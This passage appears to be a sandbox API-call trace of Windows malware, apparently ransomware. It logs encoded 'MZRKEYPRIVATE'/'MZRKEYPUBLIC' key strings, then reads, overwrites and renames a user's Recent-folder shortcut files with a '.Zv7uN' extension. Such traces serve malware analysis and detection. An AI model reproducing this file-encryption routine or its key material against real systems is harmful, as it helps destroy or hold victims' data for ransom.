lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0082.586] GetCurrentThreadId () returned 0xa30 [0082.586] GetCurrentThreadId () returned 0xa30 [0082.586] GetCurrentThreadId () returned 0xa30 [0082.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.587] GetCurrentThreadId () returned 0xa30 [0082.587] GetCurrentThreadId () returned 0xa30 [0082.587] GetCurrentThreadId () returned 0xa30 [0082.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.587] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.588] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x991 [0082.588] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.588] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x991, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x991, lpOverlapped=0x0) returned 1 [0082.590] CloseHandle (hObject=0x124) returned 1 [0082.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.592] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x991, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x991, lpOverlapped=0x0) returned 1 [0082.593] CloseHandle (hObject=0x124) returned 1 [0082.596] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\o1L10dnO.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\o1l10dno.lnk.zv7un")) returned 1 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] GetCurrentThreadId () returned 0xa30 [0082.598] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d737120, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d737120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf9f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="OCI93tz5rnG3Offp.lnk", cAlternateFileName="OCI93T~1.LNK")) returned 1 [0082.598] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.598] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d737120, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d737120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf9f)) returned 1 [0082.599] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oci93tz5rng3offp.lnk")) returned 0x20 [0082.599] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OCI93tz5rnG3Offp.lnk", dwFileAttributes=0x80) returned 1 [0082.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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